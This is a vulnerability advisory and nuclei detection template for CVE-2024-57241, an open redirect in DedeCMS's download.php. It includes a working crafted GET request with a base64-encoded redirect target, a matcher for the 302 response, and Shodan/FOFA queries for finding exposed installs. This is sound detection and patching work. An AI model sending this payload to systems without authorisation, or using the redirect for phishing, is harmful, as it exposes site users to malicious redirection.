DedeCMS - Open Redirect via download.php

mediumseverity

6.1CVSS score

1.2%likelihood of exploitation, next 30 days

68%of all CVEs are less likely

Readycheck to confirm it

Dedecms 5.71sp1 and earlier contain a URL redirect caused by a logic error that does not properly validate GET request input, letting attackers redirect users to arbitrary URLs, exploit requires sending crafted GET requests.

Impact

Attackers can redirect users to malicious sites, potentially leading to phishing or malware distribution.

Fix

Update to the latest version of Dedecms or apply security patches addressing URL redirect issues.

How to confirm it

Send: GET /plus/download.php?open=1&link=aHR0cHM6Ly9pbnRlcmFjdC5zaA==
Positive when: status_code == 302 and location == "https://interact.sh"

Run it with nuclei: nuclei -id CVE-2024-57241 -u <target>

The full check

id: CVE-2024-57241

info:
  name: DedeCMS - Open Redirect via download.php
  author: 0x_Akoko
  severity: medium
  description: |
    Dedecms 5.71sp1 and earlier contain a URL redirect caused by a logic error that does not properly validate GET request input, letting attackers redirect users to arbitrary URLs, exploit requires sending crafted GET requests.
  impact: |
    Attackers can redirect users to malicious sites, potentially leading to phishing or malware distribution.
  remediation: |
    Update to the latest version of Dedecms or apply security patches addressing URL redirect issues.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-57241
    - https://github.com/woshidaheike/dedecms-url-redirection
  classification:
    cve-id: CVE-2024-57241
    epss-score: 0.01157
    epss-percentile: 0.6733
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-601
  metadata:
    verified: true
    max-request: 2
    vendor: dedecms
    product: dedecms
    shodan-query: 'http.title:"DedeCMS"'
    fofa-query: 'body="DedeCMS" || body="/plus/download.php"'
  tags: cve,cve2024,dedecms,redirect,cms

http:
  - raw:
      - |
        GET /plus/download.php?open=1&link=aHR0cHM6Ly9pbnRlcmFjdC5zaA== HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'location == "https://interact.sh"'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from